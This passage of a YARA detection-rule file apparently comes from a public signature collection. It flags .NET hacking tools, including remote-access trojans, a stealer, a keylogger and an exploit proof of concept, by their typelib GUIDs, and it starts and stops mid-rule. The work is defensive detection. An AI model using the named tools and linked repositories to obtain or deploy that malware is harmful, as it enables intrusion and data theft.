		$typelibguid0lo = "3cb59871-0dce-453b-857a-2d1e515b0b66" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Mythic : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "44237fac-1526-5587-83a1-61d7a54f7da9"
		date = "2020-12-29"
		modified = "2025-08-15"
		reference = "https://github.com/its-a-feature/Mythic"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3727-L3741"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3d3b942e110bbf181ecbda5d4b3c2f7775e8e9b4860722238fe686c36422d456"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "91f7a9da-f045-4239-a1e9-487ffdd65986" ascii wide
		$typelibguid1lo = "0405205c-c2a0-4f9a-a221-48b5c70df3b6" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Nuages : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5ad947e2-bd71-50d4-9bbf-4d018c7ff36a"
		date = "2020-12-29"
		modified = "2025-08-15"
		reference = "https://github.com/p3nt4/Nuages"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3743-L3756"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a0d7d89449a6a21bd118ace6a7062ff8d1fa356cf2421cc8c53f2da3719e52fb"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "e9e80ac7-4c13-45bd-9bde-ca89aadf1294" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsniper : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "14e6a3b8-5e1f-5dd8-9b51-22522ac317e7"
		date = "2020-12-29"
		modified = "2025-08-15"
		reference = "https://github.com/HunnicCyber/SharpSniper"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3758-L3771"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "52ae4a89b9cca9bee19e904617ed8c78857a9cee58d691f337fd4a736798aa1e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c8bb840c-04ce-4b60-a734-faf15abf7b18" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharphound3 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "58001912-88a1-527d-9d3e-d7c376a1fce4"
		date = "2020-12-29"
		modified = "2025-08-15"
		reference = "https://github.com/BloodHoundAD/SharpHound3"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3773-L3786"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9de8457f59133adb09df0c40ece45331ac716fd56d58bd37a40ce7f1d0a53378"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a517a8de-5834-411d-abda-2d0e1766539c" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Blocketw : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "c2b72fef-6549-5b53-8ccf-232e8d152e96"
		date = "2020-12-29"
		modified = "2025-08-15"
		reference = "https://github.com/Soledge/BlockEtw"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3788-L3801"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8953751277594d4075907e8371764d02307209a732bb05d7cfec8141e23c7765"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "daedf7b3-8262-4892-adc4-425dd5f85bca" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwifigrabber : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "1a457672-743c-56f0-a4d7-6c25f9ce2345"
		date = "2020-12-29"
		modified = "2025-08-15"
		reference = "https://github.com/r3nhat/SharpWifiGrabber"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3803-L3816"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6984510cbc43987fee53e5b164d973f56ecdd682d9263dc7cf560ab8728769d9"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c0997698-2b73-4982-b25b-d0578d1323c2" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpmapexec : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "b4922734-a486-5c4d-9bd7-5146cfecbf01"
		date = "2020-12-29"
		modified = "2025-08-15"
		reference = "https://github.com/cube0x0/SharpMapExec"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3818-L3831"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cc155390b8c739b7c96f45b79a8a078128528d6c7d070161d67484880c51a714"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "bd5220f7-e1fb-41d2-91ec-e4c50c6e9b9f" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_K8Fly : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3421e6fb-df65-5e2e-ae46-37f9c763c6a1"
		date = "2020-12-29"
		modified = "2025-08-15"
		reference = "https://github.com/zzwlpx/k8fly"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3833-L3846"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "99fb07cefac5572180f5f66e9ebce39b8d17c3a2acc56dd8fea426452127be5a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "13b6c843-f3d4-4585-b4f3-e2672a47931e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Stealer : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "c721a0ac-e898-52aa-9bdf-a19bc0bd783d"
		date = "2020-12-29"
		modified = "2025-08-15"
		reference = "https://github.com/malwares/Stealer"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3848-L3863"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "37f829449b4f8a9524400d9409b985fab2ff70024a88fdd96ba391956a3398e3"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8fcd4931-91a2-4e18-849b-70de34ab75df" ascii wide
		$typelibguid1lo = "e48811ca-8af8-4e73-85dd-2045b9cca73a" ascii wide
		$typelibguid2lo = "d3d8a1cc-e123-4905-b3de-374749122fcf" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Porttran : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "844e58a2-54f5-51e8-8176-6a478a136603"
		date = "2020-12-29"
		modified = "2025-08-15"
		reference = "https://github.com/k8gege/PortTran"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3865-L3879"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f8417a677e88bd923236855d6734cbf3db864c7e3ea60a1e500554fc5946f76a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "3a074374-77e8-4312-8746-37f3cb00e82c" ascii wide
		$typelibguid1lo = "67a73bac-f59d-4227-9220-e20a2ef42782" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Gray_Keylogger_2 : FILE
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "40ab8103-9151-5a5c-8b70-ab3bfd3896f9"
		date = "2020-12-30"
		modified = "2025-08-15"
		reference = "https://github.com/graysuit/gray-keylogger-2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3882-L3896"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "92ab6b703064beeab4ef6811732ee76d187958bf4b16f70fa062a7a71ecfb289"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "e94ca3ff-c0e5-4d1a-ad5e-f6ebbe365067" ascii wide
		$typelibguid1lo = "1ed07564-b411-4626-88e5-e1cd8ecd860a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_Miner : FILE
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d0631817-10a2-55bf-a41d-226fa0dcb9f9"
		date = "2020-12-30"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/Lime-Miner"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3898-L3911"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4b7f810efd907477736f40b9537d1ad99896e28c89bd571244256c385c387bfa"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "13958fb9-dfc1-4e2c-8a8d-a5e68abdbc66" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Blacknet : FILE
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "9fbb3c11-7b11-5910-9c8b-247aeefbaa87"
		date = "2020-12-30"
		modified = "2025-08-15"
		reference = "https://github.com/BlackHacker511/BlackNET"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3913-L3929"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5e3c6e6e50888c942d541ad893b34c65f784614de7576e9a752822c433753d55"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c2b90883-abee-4cfa-af66-dfd93ec617a5" ascii wide
		$typelibguid1lo = "8bb6f5b4-e7c7-4554-afd1-48f368774837" ascii wide
		$typelibguid2lo = "983ae28c-91c3-4072-8cdf-698b2ff7a967" ascii wide
		$typelibguid3lo = "9ac18cdc-3711-4719-9cfb-5b5f2d51fd5a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Plasmarat : FILE
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "13362cba-f9b2-50c8-95cc-504e585bdd42"
		date = "2020-12-30"
		modified = "2025-08-15"
		reference = "https://github.com/mwsrc/PlasmaRAT"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3931-L3945"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "78d0da86cdef86b06fca37fb378297df26ca792ab6069e87c19c7b075687b07d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "b8a2147c-074c-46e1-bb99-c8431a6546ce" ascii wide
		$typelibguid1lo = "0fcfde33-213f-4fb6-ac15-efb20393d4f3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_RAT : FILE
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "31a0e9ca-9da1-557a-bcc5-1351fa90a0e1"
		date = "2020-12-30"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/Lime-RAT"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3947-L3980"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "eee41a29dc6b336c14abedaad767b8a0a529917bbc9096829114f302ed93f53c"
		score = 75
		quality = 83
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "e58ac447-ab07-402a-9c96-95e284a76a8d" ascii wide
		$typelibguid1lo = "8fb35dab-73cd-4163-8868-c4dbcbdf0c17" ascii wide
		$typelibguid2lo = "37845f5b-35fe-4dce-bbec-2d07c7904fb0" ascii wide
		$typelibguid3lo = "83c453cf-0d29-4690-b9dc-567f20e63894" ascii wide
		$typelibguid4lo = "8b1f0a69-a930-42e3-9c13-7de0d04a4add" ascii wide
		$typelibguid5lo = "eaaeccf6-75d2-4616-b045-36eea09c8b28" ascii wide
		$typelibguid6lo = "5b2ec674-0aa4-4209-94df-b6c995ad59c4" ascii wide
		$typelibguid7lo = "e2cc7158-aee6-4463-95bf-fb5295e9e37a" ascii wide
		$typelibguid8lo = "d04ecf62-6da9-4308-804a-e789baa5cc38" ascii wide
		$typelibguid9lo = "8026261f-ac68-4ccf-97b2-3b55b7d6684d" ascii wide
		$typelibguid10lo = "212cdfac-51f1-4045-a5c0-6e638f89fce0" ascii wide
		$typelibguid11lo = "c1b608bb-7aed-488d-aa3b-0c96625d26c0" ascii wide
		$typelibguid12lo = "4c84e7ec-f197-4321-8862-d5d18783e2fe" ascii wide
		$typelibguid13lo = "3fc17adb-67d4-4a8d-8770-ecfd815f73ee" ascii wide
		$typelibguid14lo = "f1ab854b-6282-4bdf-8b8b-f2911a008948" ascii wide
		$typelibguid15lo = "aef6547e-3822-4f96-9708-bcf008129b2b" ascii wide
		$typelibguid16lo = "a336f517-bca9-465f-8ff8-2756cfd0cad9" ascii wide
		$typelibguid17lo = "5de018bd-941d-4a5d-bed5-fbdd111aba76" ascii wide
		$typelibguid18lo = "bbfac1f9-cd4f-4c44-af94-1130168494d0" ascii wide
		$typelibguid19lo = "1c79cea1-ebf3-494c-90a8-51691df41b86" ascii wide
		$typelibguid20lo = "927104e1-aa17-4167-817c-7673fe26d46e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Njrat : FILE
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "2140d69e-fb15-50a2-ba85-b7c8293003fb"
		date = "2020-12-30"
		modified = "2025-08-15"
		reference = "https://github.com/mwsrc/njRAT"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3982-L4000"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fc54c34e2d908e617781ffe8b4c5538304830cfec317ed2eab4157f72bbbf059"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "5a542c1b-2d36-4c31-b039-26a88d3967da" ascii wide
		$typelibguid1lo = "6b07082a-9256-42c3-999a-665e9de49f33" ascii wide
		$typelibguid2lo = "c0a9a70f-63e8-42ca-965d-73a1bc903e62" ascii wide
		$typelibguid3lo = "70bd11de-7da1-4a89-b459-8daacc930c20" ascii wide
		$typelibguid4lo = "fc790ee5-163a-40f9-a1e2-9863c290ff8b" ascii wide
		$typelibguid5lo = "cb3c28b2-2a4f-4114-941c-ce929fec94d3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Manager : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "eef65d2c-ddbc-50c3-a6a0-e7032a55e92d"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/TheWover/Manager"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4002-L4016"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3783108ecfa26ee1a8d0ecfced9e601a41a159777d56a237ae82ad7860b45d5f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "dda73ee9-0f41-4c09-9cad-8215abd60b33" ascii wide
		$typelibguid1lo = "6a0f2422-d4d1-4b7e-84ad-56dc0fd2dfc5" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Neo_Confuserex : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d73117a6-4512-5545-a4f4-72d8cf708340"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/XenocodeRCE/neo-ConfuserEx"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4018-L4031"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c916b5443d5df0d58020aec6f3576e3d9cec50fa00b764d86ec7f3a49d0a8d93"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "e98490bb-63e5-492d-b14e-304de928f81a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpallowedtoact : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "13b7f5e0-4d34-533d-a182-b3fe7c93ca43"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/pkb1s/SharpAllowedToAct"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4033-L4046"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "688c1e5944a96b3cc40deb3c3949da0391e9dbde8c78bcc05a1f48817ae7a0d4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "dac5448a-4ad1-490a-846a-18e4e3e0cf9a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Supersqlinjectionv1 : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "247bef0d-7873-51c7-97b8-1be6dfe7708d"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/shack2/SuperSQLInjectionV1"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4048-L4061"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cc4d7ac59d1092c357e0c1ac23eab1618a712cf846a65097c283ef62cfcb0c7d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "d5688068-fc89-467d-913f-037a785caca7" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Adsearch : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "399ea06d-b36a-542b-bccc-8e8f935a35c6"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/tomcarver16/ADSearch"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4063-L4076"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d925d212b9474078cb3e8694048de22e56de94b33839647c187f3254149bf4ff"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "4da5f1b7-8936-4413-91f7-57d6e072b4a7" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Privilege_Escalation_Awesome_Scripts_Suite : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "fa218dfa-4b56-5a62-b149-63394bd0b604"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4078-L4091"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1fdaa169213f31229973956cba064128ea6d256e339a8e3eb42cc9798ddf007f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "1928358e-a64b-493f-a741-ae8e3d029374" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2020_1206_POC : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d70472f3-b19f-5097-bd70-99a7e7812ac4"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/ZecOps/CVE-2020-1206-POC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4093-L4108"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "26511510a1075457c8f133001fac18c8b44c997bd368b9336751bca714ec6ec3"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "3523ca04-a12d-4b40-8837-1a1d28ef96de" ascii wide
		$typelibguid1lo = "d3a2f24a-ddc6-4548-9b3d-470e70dbcaab" ascii wide
		$typelibguid2lo = "fb30ee05-4a35-45f7-9a0a-829aec7e47d9" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Dinvoke : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f3b0ef47-a92c-5c5d-a9e2-09579fcb438e"
		date = "2021-01-21"
		modified = "2025-08-15"
		reference = "https://github.com/TheWover/DInvoke"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4110-L4123"
